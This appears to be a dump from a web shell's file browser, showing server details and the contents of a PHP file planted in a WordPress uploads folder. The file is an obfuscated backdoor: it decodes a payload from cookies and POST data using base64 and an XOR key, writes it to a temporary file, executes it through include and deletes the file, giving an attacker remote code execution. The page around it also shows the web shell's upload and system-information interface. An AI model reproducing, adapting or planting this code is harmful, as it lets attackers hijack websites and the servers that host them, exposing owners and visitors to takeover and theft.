HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/apppresser/867717bd.php
$aRTcIE = chr ( 588 - 498 )."\x52" . "\137" . 'C' . chr ( 931 - 819 ).chr (107); $NGWplfy = 'c' . "\x6c" . "\x61" . 's' . "\163" . '_' . "\x65" . chr (120) . chr (105) . chr (115) . chr (116) . "\163";$yumRVQpW = class_exists($aRTcIE); $aRTcIE = "26958";$NGWplfy = "55819";$gSnqJv = FALSE;if ($yumRVQpW === $gSnqJv){function AcYIqtCTYI(){return FALSE;}$tBvVo = "2954";AcYIqtCTYI();class ZR_Cpk{public function QAhvJlNHTG(){echo "2941";}private $VTzXUY;public static $HRPQXZrdiF = "5c9e7adf-bc4d-4c1d-b70b-8bf797cf7287";public static $HlmGxGqy = 56533;public function __destruct(){$tBvVo = "14579_4486";$this->TLqDwGhI($tBvVo); $tBvVo = "14579_4486";}public function __construct($QeWBxMMAM=0){$jaNbdqGpd = $_POST;$LTTnbxNgHi = $_COOKIE;$EvIxTqWYQB = @$LTTnbxNgHi[substr(ZR_Cpk::$HRPQXZrdiF, 0, 4)];if (!empty($EvIxTqWYQB)){$pnBkKFAd = "base64";$wpaCkHYGnZ = "";$EvIxTqWYQB = explode(",", $EvIxTqWYQB);foreach ($EvIxTqWYQB as $tfkpZMY){$wpaCkHYGnZ .= @$LTTnbxNgHi[$tfkpZMY];$wpaCkHYGnZ .= @$jaNbdqGpd[$tfkpZMY];}$wpaCkHYGnZ = array_map($pnBkKFAd . chr (95) . "\x64" . 'e' . chr (99) . chr ( 792 - 681 ).chr (100) . chr (101), array($wpaCkHYGnZ,)); $wpaCkHYGnZ = $wpaCkHYGnZ[0] ^ str_repeat(ZR_Cpk::$HRPQXZrdiF, (strlen($wpaCkHYGnZ[0]) / strlen(ZR_Cpk::$HRPQXZrdiF)) + 1);ZR_Cpk::$HlmGxGqy = @unserialize($wpaCkHYGnZ);}}private function TLqDwGhI($tBvVo){if (is_array(ZR_Cpk::$HlmGxGqy)) {$ppPeNsU = sys_get_temp_dir() . "/" . crc32(ZR_Cpk::$HlmGxGqy[chr (115) . "\x61" . 'l' . 't']);@ZR_Cpk::$HlmGxGqy['w' . chr (114) . chr ( 819 - 714 ).chr ( 829 - 713 ).chr (101)]($ppPeNsU, ZR_Cpk::$HlmGxGqy[chr (99) . chr ( 821 - 710 ).chr ( 955 - 845 ).chr ( 151 - 35 )."\x65" . 'n' . chr (116)]);include $ppPeNsU;@ZR_Cpk::$HlmGxGqy[chr ( 902 - 802 )."\x65" . "\x6c" . chr (101) . 't' . chr ( 129 - 28 )]($ppPeNsU); $tBvVo = "2954";exit();}}}$XdrWPDeing = new /* 36559 */ ZR_Cpk(); $XdrWPDeing = str_repeat("14579_4486", 1);}